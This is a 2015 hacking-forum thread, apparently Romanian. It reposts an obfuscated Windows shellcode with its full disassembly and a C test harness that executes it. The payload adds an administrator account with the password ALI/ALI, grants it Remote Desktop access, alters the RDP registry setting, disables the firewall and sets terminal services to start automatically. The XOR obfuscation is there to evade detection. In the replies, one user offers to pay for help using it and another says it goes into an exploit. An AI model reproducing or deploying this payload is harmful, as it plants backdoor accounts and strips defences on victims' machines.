Kalashnikov. Posted March 9, 2015 Report Share Posted March 9, 2015 #Author: Ali Razmjoo? ?#Title: ?Obfuscated Shellcode Windows x64 [1218 Bytes] [Add Administrator User/Pass ALI/ALI & Add ALI to RDP Group & Enable RDP From Registery & STOP Firewall & Auto Start terminal service]Obfuscated Shellcode Windows x64 [1218 Bytes].c /*#Title: Obfuscated Shellcode Windows x64 [1218 Bytes] [Add Administrator User/Pass ALI/ALI & Add ALI to RDP Group & Enable RDP From Registery & STOP Firewall & Auto Start terminal service]#length: 1218 bytes#Date: 13 January 2015#Author: Ali Razmjoo#tested On: Windows 7 x64 ultimateWinExec => 0x769e2c91ExitProcess => 0x769679f8====================================Execute :net user ALI ALI /addnet localgroup Administrators ALI /addNET LOCALGROUP "Remote Desktop Users" ALI /add reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f netsh firewall set opmode disablesc config termservice start= auto====================================Ali Razmjoo , ['Ali.Razmjoo1994@Gmail.Com','Ali@Z3r0D4y.Com']Thanks to my friends , Dariush Nasirpour and Ehsan NezamiC:\Users\Ali\Desktop>objdump -D shellcode.oshellcode.o: file format elf32-i386Disassembly of section .text:00000000 <.text>: 0: 31 c0 xor %eax,%eax 2: 50 push %eax 3: b8 41 41 41 64 mov $0x64414141,%eax 8: c1 e8 08 shr $0x8,%eax b: c1 e8 08 shr $0x8,%eax e: c1 e8 08 shr $0x8,%eax 11: 50 push %eax 12: b9 6d 76 53 52 mov $0x5253766d,%ecx 17: ba 4d 59 32 36 mov $0x3632594d,%edx 1c: 31 d1 xor %edx,%ecx 1e: 51 push %ecx 1f: b9 6e 72 61 71 mov $0x7161726e,%ecx 24: ba 4e 33 2d 38 mov $0x382d334e,%edx 29: 31 d1 xor %edx,%ecx 2b: 51 push %ecx 2c: b9 6c 75 78 78 mov $0x7878756c,%ecx 31: ba 4c 34 34 31 mov $0x3134344c,%edx 36: 31 d1 xor %edx,%ecx 38: 51 push %ecx 39: b9 46 47 57 46 mov $0x46574746,%ecx 3e: ba 33 34 32 34 mov $0x34323433,%edx 43: 31 d1 xor %edx,%ecx 45: 51 push %ecx 46: b9 56 50 47 64 mov $0x64475056,%ecx 4b: ba 38 35 33 44 mov $0x44333538,%edx 50: 31 d1 xor %edx,%ecx 52: 51 push %ecx 53: 89 e0 mov %esp,%eax 55: bb 41 41 41 01 mov $0x1414141,%ebx 5a: c1 eb 08 shr $0x8,%ebx 5d: c1 eb 08 shr $0x8,%ebx 60: c1 eb 08 shr $0x8,%ebx 63: 53 push %ebx 64: 50 push %eax 65: bb dc 7a a8 23 mov $0x23a87adc,%ebx 6a: ba 4d 56 36 55 mov $0x5536564d,%edx 6f: 31 d3 xor %edx,%ebx 71: ff d3 call *%ebx 73: 31 c0 xor %eax,%eax 75: 50 push %eax 76: 68 41 41 64 64 push $0x64644141 7b: 58 pop %eax 7c: c1 e8 08 shr $0x8,%eax 7f: c1 e8 08 shr $0x8,%eax 82: 50 push %eax 83: b9 01 41 60 32 mov $0x32604101,%ecx 88: ba 48 61 4f 53 mov $0x534f6148,%edx 8d: 31 d1 xor %edx,%ecx 8f: 51 push %ecx 90: b9 28 47 0d 2f mov $0x2f0d4728,%ecx 95: ba 5b 67 4c 63 mov $0x634c675b,%edx 9a: 31 d1 xor %edx,%ecx 9c: 51 push %ecx 9d: b9 03 24 36 21 mov $0x21362403,%ecx a2: ba 62 50 59 53 mov $0x53595062,%edx a7: 31 d1 xor %edx,%ecx a9: 51 push %ecx aa: b9 34 41 15 18 mov $0x18154134,%ecx af: ba 5d 32 61 6a mov $0x6a61325d,%edx b4: 31 d1 xor %edx,%ecx b6: 51 push %ecx b7: b9 0c 05 1b 25 mov $0x251b050c,%ecx bc: ba 68 68 72 4b mov $0x4b726868,%edx c1: 31 d1 xor %edx,%ecx c3: 51 push %ecx c4: b9 2f 27 7b 13 mov $0x137b272f,%ecx c9: ba 5a 57 5b 52 mov $0x525b575a,%edx ce: 31 d1 xor %edx,%ecx d0: 51 push %ecx d1: b9 1c 2c 02 3e mov $0x3e022c1c,%ecx d6: ba 70 4b 70 51 mov $0x51704b70,%edx db: 31 d1 xor %edx,%ecx dd: 51 push %ecx de: b9 3d 2a 32 4c mov $0x4c322a3d,%ecx e3: ba 51 45 51 2d mov $0x2d514551,%edx e8: 31 d1 xor %edx,%ecx ea: 51 push %ecx eb: b9 23 5c 1c 19 mov $0x191c5c23,%ecx f0: ba 4d 39 68 39 mov $0x3968394d,%edx f5: 31 d1 xor %edx,%ecx f7: 51 push %ecx f8: 89 e0 mov %esp,%eax fa: bb 41 41 41 01 mov $0x1414141,%ebx ff: c1 eb 08 shr $0x8,%ebx 102: c1 eb 08 shr $0x8,%ebx 105: c1 eb 08 shr $0x8,%ebx 108: 53 push %ebx 109: 50 push %eax 10a: bb dc 7a a8 23 mov $0x23a87adc,%ebx 10f: ba 4d 56 36 55 mov $0x5536564d,%edx 114: 31 d3 xor %edx,%ebx 116: ff d3 call *%ebx 118: 31 c0 xor %eax,%eax 11a: 50 push %eax 11b: 68 41 41 64 64 push $0x64644141 120: 58 pop %eax 121: c1 e8 08 shr $0x8,%eax 124: c1 e8 08 shr $0x8,%eax 127: 50 push %eax 128: b9 02 63 6b 35 mov $0x356b6302,%ecx 12d: ba 4b 43 44 54 mov $0x5444434b,%edx 132: 31 d1 xor %edx,%ecx 134: 51 push %ecx 135: b9 61 55 6c 3d mov $0x3d6c5561,%ecx 13a: ba 43 75 2d 71 mov $0x712d7543,%edx 13f: 31 d1 xor %edx,%ecx 141: 51 push %ecx 142: b9 27 3f 3b 1a mov $0x1a3b3f27,%ecx 147: ba 54 5a 49 69 mov $0x69495a54,%edx 14c: 31 d1 xor %edx,%ecx 14e: 51 push %ecx 14f: b9 25 34 12 67 mov $0x67123425,%ecx 154: ba 4a 44 32 32 mov $0x3232444a,%edx 159: 31 d1 xor %edx,%ecx 15b: 51 push %ecx 15c: b9 0b 02 1f 19 mov $0x191f020b,%ecx 161: ba 6e 71 74 6d mov $0x6d74716e,%edx 166: 31 d1 xor %edx,%ecx 168: 51 push %ecx 169: b9 39 3f 7b 15 mov $0x157b3f39,%ecx 16e: ba 4d 5a 5b 51 mov $0x515b5a4d,%edx 173: 31 d1 xor %edx,%ecx 175: 51 push %ecx 176: b9 35 15 03 2a mov $0x2a031535,%ecx 17b: ba 67 70 6e 45 mov $0x456e7067,%edx 180: 31 d1 xor %edx,%ecx 182: 51 push %ecx 183: b9 3a 17 75 46 mov $0x4675173a,%ecx 188: ba 6f 47 55 64 mov $0x6455476f,%edx 18d: 31 d1 xor %edx,%ecx 18f: 51 push %ecx 190: b9 26 35 0b 1e mov $0x1e0b3526,%ecx 195: ba 6a 72 59 51 mov $0x5159726a,%edx 19a: 31 d1 xor %edx,%ecx 19c: 51 push %ecx 19d: b9 2a 2a 06 2a mov $0x2a062a2a,%ecx 1a2: ba 66 65 45 6b mov $0x6b456566,%edx 1a7: 31 d1 xor %edx,%ecx 1a9: 51 push %ecx 1aa: b9 1d 20 35 5a mov $0x5a35201d,%ecx 1af: ba 53 65 61 7a mov $0x7a616553,%edx 1b4: 31 d1 xor %edx,%ecx 1b6: 51 push %ecx 1b7: 89 e0 mov %esp,%eax 1b9: bb 41 41 41 01 mov $0x1414141,%ebx 1be: c1 eb 08 shr $0x8,%ebx 1c1: c1 eb 08 shr $0x8,%ebx 1c4: c1 eb 08 shr $0x8,%ebx 1c7: 53 push %ebx 1c8: 50 push %eax 1c9: bb dc 7a a8 23 mov $0x23a87adc,%ebx 1ce: ba 4d 56 36 55 mov $0x5536564d,%edx 1d3: 31 d3 xor %edx,%ebx 1d5: ff d3 call *%ebx 1d7: 31 c0 xor %eax,%eax 1d9: 50 push %eax 1da: b9 09 4c 7c 5e mov $0x5e7c4c09,%ecx 1df: ba 38 6c 53 38 mov $0x38536c38,%edx 1e4: 31 d1 xor %edx,%ecx 1e6: 51 push %ecx 1e7: b9 42 4d 39 14 mov $0x14394d42,%ecx 1ec: ba 62 62 5d 34 mov $0x345d6262,%edx 1f1: 31 d1 xor %edx,%ecx 1f3: 51 push %ecx 1f4: b9 7a 24 26 75 mov $0x7526247a,%ecx 1f9: ba 2d 6b 74 31 mov $0x31746b2d,%edx 1fe: 31 d1 xor %edx,%ecx 200: 51 push %ecx 201: b9 1d 30 15 28 mov $0x2815301d,%ecx 206: ba 58 77 4a 6c mov $0x6c4a7758,%edx 20b: 31 d1 xor %edx,%ecx 20d: 51 push %ecx 20e: b9 7c 2f 57 16 mov $0x16572f7c,%ecx 213: ba 53 5b 77 44 mov $0x44775b53,%edx 218: 31 d1 xor %edx,%ecx 21a: 51 push %ecx 21b: b9 42 25 2a 66 mov $0x662a2542,%ecx 220: ba 2d 4b 59 46 mov $0x46594b2d,%edx 225: 31 d1 xor %edx,%ecx 227: 51 push %ecx 228: b9 28 2f 0c 5a mov $0x5a0c2f28,%ecx 22d: ba 4d 4c 78 33 mov $0x33784c4d,%edx 232: 31 d1 xor %edx,%ecx 234: 51 push %ecx 235: b9 20 2b 26 26 mov $0x26262b20,%ecx 23a: ba 63 44 48 48 mov $0x48484463,%edx 23f: 31 d1 xor %edx,%ecx 241: 51 push %ecx 242: b9 08 2b 23 67 mov $0x67232b08,%ecx 247: ba 66 52 77 34 mov $0x34775266,%edx 24c: 31 d1 xor %edx,%ecx 24e: 51 push %ecx 24f: b9 49 1c 2e 48 mov $0x482e1c49,%ecx 254: ba 69 7a 6a 2d mov $0x2d6a7a69,%edx 259: 31 d1 xor %edx,%ecx 25b: 51 push %ecx 25c: b9 67 67 1d 37 mov $0x371d6767,%ecx 261: ba 45 47 32 41 mov $0x41324745,%edx 266: 31 d1 xor %edx,%ecx 268: 51 push %ecx 269: b9 03 33 0d 3b mov $0x3b0d3303,%ecx 26e: ba 71 45 68 49 mov $0x49684571,%edx 273: 31 d1 xor %edx,%ecx 275: 51 push %ecx 276: b9 39 6a 3c 2f mov $0x2f3c6a39,%ecx 27b: ba 55 4a 6f 4a mov $0x4a6f4a55,%edx 280: 31 d1 xor %edx,%ecx 282: 51 push %ecx 283: b9 37 44 1f 2e mov $0x2e1f4437,%ecx 288: ba 5a 2d 71 4f mov $0x4f712d5a,%edx 28d: 31 d1 xor %edx,%ecx 28f: 51 push %ecx 290: b9 34 23 23 3b mov $0x3b232334,%ecx 295: ba 68 77 46 49 mov $0x49467768,%edx 29a: 31 d1 xor %edx,%ecx 29c: 51 push %ecx 29d: b9 07 3a 0a 14 mov $0x140a3a07,%ecx 2a2: ba 73 48 65 78 mov $0x78654873,%edx 2a7: 31 d1 xor %edx,%ecx 2a9: 51 push %ecx 2aa: b9 14 2e 58 53 mov $0x53582e14,%ecx 2af: ba 48 6d 37 3d mov $0x3d376d48,%edx 2b4: 31 d1 xor %edx,%ecx 2b6: 51 push %ecx 2b7: b9 3e 3d 26 32 mov $0x32263d3e,%ecx 2bc: ba 52 6e 43 46 mov $0x46436e52,%edx 2c1: 31 d1 xor %edx,%ecx 2c3: 51 push %ecx 2c4: b9 33 3c 35 34 mov $0x34353c33,%ecx 2c9: ba 5d 48 47 5b mov $0x5b47485d,%edx 2ce: 31 d1 xor %edx,%ecx 2d0: 51 push %ecx 2d1: b9 36 0e 07 2b mov $0x2b070e36,%ecx 2d6: ba 58 7a 44 44 mov $0x44447a58,%edx 2db: 31 d1 xor %edx,%ecx 2dd: 51 push %ecx 2de: b9 3c 10 0a 37 mov $0x370a103c,%ecx 2e3: ba 49 62 78 52 mov $0x52786249,%edx 2e8: 31 d1 xor %edx,%ecx 2ea: 51 push %ecx 2eb: b9 24 7c 3b 36 mov $0x363b7c24,%ecx 2f0: ba 61 31 67 75 mov $0x75673161,%edx 2f5: 31 d1 xor %edx,%ecx 2f7: 51 push %ecx 2f8: b9 31 3d 3b 27 mov $0x273b3d31,%ecx 2fd: ba 62 64 68 73 mov $0x73686462,%edx 302: 31 d1 xor %edx,%ecx 304: 51 push %ecx 305: b9 7f 7d 3d 35 mov $0x353d7d7f,%ecx 30a: ba 36 33 78 69 mov $0x69783336,%edx 30f: 31 d1 xor %edx,%ecx 311: 51 push %ecx 312: b9 7c 13 0f 2f mov $0x2f0f137c,%ecx 317: ba 31 52 4c 67 mov $0x674c5231,%edx 31c: 31 d1 xor %edx,%ecx 31e: 51 push %ecx 31f: b9 1b 08 35 2d mov $0x2d35081b,%ecx 324: ba 58 49 79 72 mov $0x72794958,%edx 329: 31 d1 xor %edx,%ecx 32b: 51 push %ecx 32c: b9 74 3a 1e 21 mov $0x211e3a74,%ecx 331: ba 2d 65 52 6e mov $0x6e52652d,%edx 336: 31 d1 xor %edx,%ecx 338: 51 push %ecx 339: b9 16 10 1f 17 mov $0x171f1016,%ecx 33e: ba 34 58 54 52 mov $0x52545834,%edx 343: 31 d1 xor %edx,%ecx 345: 51 push %ecx 346: b9 2f 27 0c 6e mov $0x6e0c272f,%ecx 34b: ba 4e 43 68 4e mov $0x4e68434e,%edx 350: 31 d1 xor %edx,%ecx 352: 51 push %ecx 353: b9 39 22 5e 50 mov $0x505e2239,%ecx 358: ba 4b 47 39 70 mov $0x7039474b,%edx 35d: 31 d1 xor %edx,%ecx 35f: 51 push %ecx 360: 89 e0 mov %esp,%eax 362: bb 41 41 41 01 mov $0x1414141,%ebx 367: c1 eb 08 shr $0x8,%ebx 36a: c1 eb 08 shr $0x8,%ebx 36d: c1 eb 08 shr $0x8,%ebx 370: 53 push %ebx 371: 50 push %eax 372: bb dc 7a a8 23 mov $0x23a87adc,%ebx 377: ba 4d 56 36 55 mov $0x5536564d,%edx 37c: 31 d3 xor %edx,%ebx 37e: ff d3 call *%ebx 380: 31 c0 xor %eax,%eax 382: 50 push %eax 383: b8 41 41 41 65 mov $0x65414141,%eax 388: c1 e8 08 shr $0x8,%eax 38b: c1 e8 08 shr $0x8,%eax 38e: c1 e8 08 shr $0x8,%eax 391: 50 push %eax 392: b9 1e 53 39 3c mov $0x3c39531e,%ecx 397: ba 6d 32 5b 50 mov $0x505b326d,%edx 39c: 31 d1 xor %edx,%ecx 39e: 51 push %ecx 39f: b9 04 66 2f 32 mov $0x322f6604,%ecx 3a4: ba 61 46 4b 5b mov $0x5b4b4661,%edx 3a9: 31 d1 xor %edx,%ecx 3ab: 51 push %ecx 3ac: b9 19 1e 0d 11 mov $0x110d1e19,%ecx 3b1: ba 69 73 62 75 mov $0x75627369,%edx 3b6: 31 d1 xor %edx,%ecx 3b8: 51 push %ecx 3b9: b9 20 41 47 36 mov $0x36474120,%ecx 3be: ba 45 35 67 59 mov $0x59673545,%edx 3c3: 31 d1 xor %edx,%ecx 3c5: 51 push %ecx 3c6: b9 2b 05 64 2a mov $0x2a64052b,%ecx 3cb: ba 47 69 44 59 mov $0x59446947,%edx 3d0: 31 d1 xor %edx,%ecx 3d2: 51 push %ecx 3d3: b9 10 3f 4f 22 mov $0x224f3f10,%ecx 3d8: ba 62 5a 38 43 mov $0x43385a62,%edx 3dd: 31 d1 xor %edx,%ecx 3df: 51 push %ecx 3e0: b9 2a 6f 2a 24 mov $0x242a6f2a,%ecx 3e5: ba 42 4f 4c 4d mov $0x4d4c4f42,%edx 3ea: 31 d1 xor %edx,%ecx 3ec: 51 push %ecx 3ed: b9 29 09 1e 5e mov $0x5e1e0929,%ecx 3f2: ba 47 6c 6a 2d mov $0x2d6a6c47,%edx 3f7: 31 d1 xor %edx,%ecx 3f9: 51 push %ecx 3fa: 89 e0 mov %esp,%eax 3fc: bb 41 41 41 01 mov $0x1414141,%ebx 401: c1 eb 08 shr $0x8,%ebx 404: c1 eb 08 shr $0x8,%ebx 407: c1 eb 08 shr $0x8,%ebx 40a: 53 push %ebx 40b: 50 push %eax 40c: bb dc 7a a8 23 mov $0x23a87adc,%ebx 411: ba 4d 56 36 55 mov $0x5536564d,%edx 416: 31 d3 xor %edx,%ebx 418: ff d3 call *%ebx 41a: 31 c0 xor %eax,%eax 41c: 50 push %eax 41d: b8 41 41 41 6f mov $0x6f414141,%eax 422: c1 e8 08 shr $0x8,%eax 425: c1 e8 08 shr $0x8,%eax 428: c1 e8 08 shr $0x8,%eax 42b: 50 push %eax 42c: b9 72 2a 05 39 mov $0x39052a72,%ecx 431: ba 52 4b 70 4d mov $0x4d704b52,%edx 436: 31 d1 xor %edx,%ecx 438: 51 push %ecx 439: b9 54 3a 05 52 mov $0x52053a54,%ecx 43e: ba 35 48 71 6f mov $0x6f714835,%edx 443: 31 d1 xor %edx,%ecx 445: 51 push %ecx 446: b9 29 16 0a 47 mov $0x470a1629,%ecx 44b: ba 4c 36 79 33 mov $0x3379364c,%edx 450: 31 d1 xor %edx,%ecx 452: 51 push %ecx 453: b9 27 1b 5b 3e mov $0x3e5b1b27,%ecx 458: ba 55 6d 32 5d mov $0x5d326d55,%edx 45d: 31 d1 xor %edx,%ecx 45f: 51 push %ecx 460: b9 33 1a 3b 10 mov $0x103b1a33,%ecx 465: ba 41 77 48 75 mov $0x75487741,%edx 46a: 31 d1 xor %edx,%ecx 46c: 51 push %ecx 46d: b9 34 79 3a 12 mov $0x123a7934,%ecx 472: ba 53 59 4e 77 mov $0x774e5953,%edx 477: 31 d1 xor %edx,%ecx 479: 51 push %ecx 47a: b9 1d 5c 1e 28 mov $0x281e5c1d,%ecx 47f: ba 72 32 78 41 mov $0x41783272,%edx 484: 31 d1 xor %edx,%ecx 486: 51 push %ecx 487: b9 2a 4e 5a 28 mov $0x285a4e2a,%ecx 48c: ba 59 2d 7a 4b mov $0x4b7a2d59,%edx 491: 31 d1 xor %edx,%ecx 493: 51 push %ecx 494: 89 e0 mov %esp,%eax 496: bb 41 41 41 01 mov $0x1414141,%ebx 49b: c1 eb 08 shr $0x8,%ebx 49e: c1 eb 08 shr $0x8,%ebx 4a1: c1 eb 08 shr $0x8,%ebx 4a4: 53 push %ebx 4a5: 50 push %eax 4a6: bb dc 7a a8 23 mov $0x23a87adc,%ebx 4ab: ba 4d 56 36 55 mov $0x5536564d,%edx 4b0: 31 d3 xor %edx,%ebx 4b2: ff d3 call *%ebx 4b4: bb 9b 4f d0 30 mov $0x30d04f9b,%ebx 4b9: ba 63 36 46 46 mov $0x46463663,%edx 4be: 31 d3 xor %edx,%ebx 4c0: ff d3 call *%ebx*/#include <stdio.h>#include <string.h>int main(){unsigned char shellcode[]= "\x31\xc0\x50\xb8\x41\x41\x41\x64\xc1\xe8\x08\xc1\xe8\x08\xc1\xe8\x08\x50\xb9\x6d\x76\x53\x52\xba\x4d\x59\x32\x36\x31\xd1\x51\xb9\x6e\x72\x61\x71\xba\x4e\x33\x2d\x38\x31\xd1\x51\xb9\x6c\x75\x78\x78\xba\x4c\x34\x34\x31\x31\xd1\x51\xb9\x46\x47\x57\x46\xba\x33\x34\x32\x34\x31\xd1\x51\xb9\x56\x50\x47\x64\xba\x38\x35\x33\x44\x31\xd1\x51\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36\x55\x31\xd3\xff\xd3\x31\xc0\x50\x68\x41\x41\x64\x64\x58\xc1\xe8\x08\xc1\xe8\x08\x50\xb9\x01\x41\x60\x32\xba\x48\x61\x4f\x53\x31\xd1\x51\xb9\x28\x47\x0d\x2f\xba\x5b\x67\x4c\x63\x31\xd1\x51\xb9\x03\x24\x36\x21\xba\x62\x50\x59\x53\x31\xd1\x51\xb9\x34\x41\x15\x18\xba\x5d\x32\x61\x6a\x31\xd1\x51\xb9\x0c\x05\x1b\x25\xba\x68\x68\x72\x4b\x31\xd1\x51\xb9\x2f\x27\x7b\x13\xba\x5a\x57\x5b\x52\x31\xd1\x51\xb9\x1c\x2c\x02\x3e\xba\x70\x4b\x70\x51\x31\xd1\x51\xb9\x3d\x2a\x32\x4c\xba\x51\x45\x51\x2d\x31\xd1\x51\xb9\x23\x5c\x1c\x19\xba\x4d\x39\x68\x39\x31\xd1\x51\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36\x55\x31\xd3\xff\xd3\x31\xc0\x50\x68\x41\x41\x64\x64\x58\xc1\xe8\x08\xc1\xe8\x08\x50\xb9\x02\x63\x6b\x35\xba\x4b\x43\x44\x54\x31\xd1\x51\xb9\x61\x55\x6c\x3d\xba\x43\x75\x2d\x71\x31\xd1\x51\xb9\x27\x3f\x3b\x1a\xba\x54\x5a\x49\x69\x31\xd1\x51\xb9\x25\x34\x12\x67\xba\x4a\x44\x32\x32\x31\xd1\x51\xb9\x0b\x02\x1f\x19\xba\x6e\x71\x74\x6d\x31\xd1\x51\xb9\x39\x3f\x7b\x15\xba\x4d\x5a\x5b\x51\x31\xd1\x51\xb9\x35\x15\x03\x2a\xba\x67\x70\x6e\x45\x31\xd1\x51\xb9\x3a\x17\x75\x46\xba\x6f\x47\x55\x64\x31\xd1\x51\xb9\x26\x35\x0b\x1e\xba\x6a\x72\x59\x51\x31\xd1\x51\xb9\x2a\x2a\x06\x2a\xba\x66\x65\x45\x6b\x31\xd1\x51\xb9\x1d\x20\x35\x5a\xba\x53\x65\x61\x7a\x31\xd1\x51\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36\x55\x31\xd3\xff\xd3\x31\xc0\x50\xb9\x09\x4c\x7c\x5e\xba\x38\x6c\x53\x38\x31\xd1\x51\xb9\x42\x4d\x39\x14\xba\x62\x62\x5d\x34\x31\xd1\x51\xb9\x7a\x24\x26\x75\xba\x2d\x6b\x74\x31\x31\xd1\x51\xb9\x1d\x30\x15\x28\xba\x58\x77\x4a\x6c\x31\xd1\x51\xb9\x7c\x2f\x57\x16\xba\x53\x5b\x77\x44\x31\xd1\x51\xb9\x42\x25\x2a\x66\xba\x2d\x4b\x59\x46\x31\xd1\x51\xb9\x28\x2f\x0c\x5a\xba\x4d\x4c\x78\x33\x31\xd1\x51\xb9\x20\x2b\x26\x26\xba\x63\x44\x48\x48\x31\xd1\x51\xb9\x08\x2b\x23\x67\xba\x66\x52\x77\x34\x31\xd1\x51\xb9\x49\x1c\x2e\x48\xba\x69\x7a\x6a\x2d\x31\xd1\x51\xb9\x67\x67\x1d\x37\xba\x45\x47\x32\x41\x31\xd1\x51\xb9\x03\x33\x0d\x3b\xba\x71\x45\x68\x49\x31\xd1\x51\xb9\x39\x6a\x3c\x2f\xba\x55\x4a\x6f\x4a\x31\xd1\x51\xb9\x37\x44\x1f\x2e\xba\x5a\x2d\x71\x4f\x31\xd1\x51\xb9\x34\x23\x23\x3b\xba\x68\x77\x46\x49\x31\xd1\x51\xb9\x07\x3a\x0a\x14\xba\x73\x48\x65\x78\x31\xd1\x51\xb9\x14\x2e\x58\x53\xba\x48\x6d\x37\x3d\x31\xd1\x51\xb9\x3e\x3d\x26\x32\xba\x52\x6e\x43\x46\x31\xd1\x51\xb9\x33\x3c\x35\x34\xba\x5d\x48\x47\x5b\x31\xd1\x51\xb9\x36\x0e\x07\x2b\xba\x58\x7a\x44\x44\x31\xd1\x51\xb9\x3c\x10\x0a\x37\xba\x49\x62\x78\x52\x31\xd1\x51\xb9\x24\x7c\x3b\x36\xba\x61\x31\x67\x75\x31\xd1\x51\xb9\x31\x3d\x3b\x27\xba\x62\x64\x68\x73\x31\xd1\x51\xb9\x7f\x7d\x3d\x35\xba\x36\x33\x78\x69\x31\xd1\x51\xb9\x7c\x13\x0f\x2f\xba\x31\x52\x4c\x67\x31\xd1\x51\xb9\x1b\x08\x35\x2d\xba\x58\x49\x79\x72\x31\xd1\x51\xb9\x74\x3a\x1e\x21\xba\x2d\x65\x52\x6e\x31\xd1\x51\xb9\x16\x10\x1f\x17\xba\x34\x58\x54\x52\x31\xd1\x51\xb9\x2f\x27\x0c\x6e\xba\x4e\x43\x68\x4e\x31\xd1\x51\xb9\x39\x22\x5e\x50\xba\x4b\x47\x39\x70\x31\xd1\x51\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36\x55\x31\xd3\xff\xd3\x31\xc0\x50\xb8\x41\x41\x41\x65\xc1\xe8\x08\xc1\xe8\x08\xc1\xe8\x08\x50\xb9\x1e\x53\x39\x3c\xba\x6d\x32\x5b\x50\x31\xd1\x51\xb9\x04\x66\x2f\x32\xba\x61\x46\x4b\x5b\x31\xd1\x51\xb9\x19\x1e\x0d\x11\xba\x69\x73\x62\x75\x31\xd1\x51\xb9\x20\x41\x47\x36\xba\x45\x35\x67\x59\x31\xd1\x51\xb9\x2b\x05\x64\x2a\xba\x47\x69\x44\x59\x31\xd1\x51\xb9\x10\x3f\x4f\x22\xba\x62\x5a\x38\x43\x31\xd1\x51\xb9\x2a\x6f\x2a\x24\xba\x42\x4f\x4c\x4d\x31\xd1\x51\xb9\x29\x09\x1e\x5e\xba\x47\x6c\x6a\x2d\x31\xd1\x51\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36\x55\x31\xd3\xff\xd3\x31\xc0\x50\xb8\x41\x41\x41\x6f\xc1\xe8\x08\xc1\xe8\x08\xc1\xe8\x08\x50\xb9\x72\x2a\x05\x39\xba\x52\x4b\x70\x4d\x31\xd1\x51\xb9\x54\x3a\x05\x52\xba\x35\x48\x71\x6f\x31\xd1\x51\xb9\x29\x16\x0a\x47\xba\x4c\x36\x79\x33\x31\xd1\x51\xb9\x27\x1b\x5b\x3e\xba\x55\x6d\x32\x5d\x31\xd1\x51\xb9\x33\x1a\x3b\x10\xba\x41\x77\x48\x75\x31\xd1\x51\xb9\x34\x79\x3a\x12\xba\x53\x59\x4e\x77\x31\xd1\x51\xb9\x1d\x5c\x1e\x28\xba\x72\x32\x78\x41\x31\xd1\x51\xb9\x2a\x4e\x5a\x28\xba\x59\x2d\x7a\x4b\x31\xd1\x51\x89\xe0\xbb\x41\x41\x41\x01\xc1\xeb\x08\xc1\xeb\x08\xc1\xeb\x08\x53\x50\xbb\xdc\x7a\xa8\x23\xba\x4d\x56\x36\x55\x31\xd3\xff\xd3\xbb\x9b\x4f\xd0\x30\xba\x63\x36\x46\x46\x31\xd3\xff\xd3";fprintf(stdout,"Length: %d\n\n",strlen(shellcode)); (*(void(*)()) shellcode)();} Quote Link to comment Share on other sites More sharing options...
PKK Posted March 11, 2015 Report Share Posted March 11, 2015 cine stie cum folosesc asta? platesc Quote Link to comment Share on other sites More sharing options...
Nytro Posted March 11, 2015 Report Share Posted March 11, 2015 Il folosesti intr-un exploit. Quote Link to comment Share on other sites More sharing options...
PKK Posted March 11, 2015 Report Share Posted March 11, 2015 cum ? Quote Link to comment Share on other sites More sharing options...
